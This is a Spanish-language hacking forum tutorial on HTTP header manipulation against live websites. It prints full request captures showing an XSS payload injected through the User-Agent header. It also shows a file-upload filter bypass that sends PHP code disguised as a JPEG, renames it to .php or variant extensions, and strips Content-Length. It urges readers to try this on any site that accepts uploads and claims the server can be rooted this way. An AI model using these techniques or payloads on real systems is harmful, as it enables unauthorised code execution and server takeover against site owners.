Autor: Psiczn
Website:
Para ver este enlace Registrate o Inicia Sesion
Nota: Si van a postear el tutorial en otro sitio hagan el favor de poner su respectivo
autor, y demas ya que la verdad cuesta un poco de tiempo. Gracias de Antemano.
Bueno comenzemos con este ataque al cual se le puede denominar en ingles como
"HTTP Header Injection"; primero hablemos sobre cuantos sitios en internet vemos
con la opcion de subir imagenes, archivos, etc. la verdad es que son bastantes los
que tienen esta opcion y la gran mayoria tienen un bug sobre manipulacion de headers
pero como no es un bug muy "famoso" por asi llamarlo es por eso que esta latente en
muchas paginas de internet. Este bug es de gran riesgo ya que se puede tomar control
sobre el server del cual esta hosteada la pagina, el atacante tiene la opcion de poder
rootear el server.
Primero vayamos a lo mas simple en cuanto a teoria y conceptos :
1.-
Para ver este enlace Registrate o Inicia Sesion2.-
Para ver este enlace Registrate o Inicia Sesion Recomendaria primero leer el articulo de wikipedia que se encuentra en ingles ya que
viene un poco mas detallado en cuanto a informacion. Para seguir con este tutorial sera
mejor que bajen un addon para firefox que se llama "
Para ver este enlace Registrate o Inicia SesionLive HTTP Headers
". Despues de instalar
el addon hagan el favor de correrlo y entrar a Google para ver que nos responde, en este
caso seria algo similar a esto :
Host: google.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.11) Gecko/20071127 Firefox/2.0.0.11
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Como pueden ver son los headers a la hora de entrar a Google, tal vez no se entienda muy
bien que es esto , para esto ya se deben de tener un poco de conocimientos teoricos. Vamos
al grano sobre el tutorial; Cuantos sitios hemos visto con la informacion sobre nuestro
Browser impreso en la pagina ? , la verdad es que muchos hacen esto para intentar intimidar
a los usuarios pero en realidad simplemente estan poniendo en riesgo su propia pagina, aqui
vamos a ver el porque de esto :
Host: google.com
User-Agent: <script>alert(/xss/)</script>
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Que pasa si damos un "replay" a los headers y cambiamos nuestro "User Agent" por una
cadena maliciosa como es en este caso ?, si la pagina esta un poco descuiadada lo mas
seguro es que podamos ver nuestro alert ejecutado. Las instrucciones para hacer un replay
a los headers es simple :
1.- Entren al website con el addon activo.
2.- Hagan un replay , cambien la cadena que desean.
3.- Den a "Ok".
Espero haya quedado un poco claro pero con un poco de intuicion ustedes pueden hacer lo
necesario para hacer el replay. Esto puede ser perjudicial para la pagina ya que se puede
explotar este bug de diferentes maneras teniendo conocimiento sobre programacion.
Vayamos a otra parte importante de la manipulacion de los http headers, al principio del
tutorial hablaba sobre la opcion de poder subir archivos a un website, aqui vamos a ver
el como hacer un "bypass" a ese tipo de filtros. Vayamos a un sitio donde se nos permita
subir archivos y subamos un archivo con codigo insertado , en mi caso simplemente hize
un .txt agregue el codigo necesario y cambie la extension de .jpg, asi de simple es; ahora
vayamos a la respuesta de los headers a la hora de subir el archivo :
Host: www.webiste.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.11) Gecko/20071127 Firefox/2.0.0.11
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Referer: http://website.com
Content-Type: multipart/form-data; boundary=---------------------------23864205337548
Content-Length: 322
-----------------------------23864205337548
Content-Disposition: form-data; name="userfile"; filename="image.jpg"
Content-Type: image/jpeg
<?php
phpinfo();
?>
-----------------------------23864205337548
Content-Disposition: form-data; name="submit"
Subir imagen
-----------------------------23864205337548--
Podemos de ver un poco mas de informacion en nuestra respuesta de headers pero
parece que es vulnerable ya que no reconocio que no era en realidad una imagen,
pueden ver que en el contenido al centro se puede ver el codigo php que agregue a
la imagen, esa es la parte que al atacante le interesa, cambiemos un poco de la
informacion para ver si nuestro uploader es vulnerable :
Content-Disposition: form-data; name="userfile"; filename="image.php"
Content-Type: image/jpeg
<?php
phpinfo();
?>
-----------------------------23864205337548
Content-Disposition: form-data; name="submit"
Subir imagen
-----------------------------23864205337548--
No intenten simplemente con .php pueden utilizar otras extensiones similares como
php5, php4, .php.png , etc. para que este tipo de ataque funcione debemos de borrar
otra parte importante que se puede ver en la respuesta de los headers que en este
caso es el "content lenght", simplemente borrenlo y hagan un replay : Content-Length: 322.
Si el upload es vulnerable podran ver que se cabmio la extension del archivo al hacer
el upload ya que no lee realmente el archivo y tampoco la extension mediante los
headers.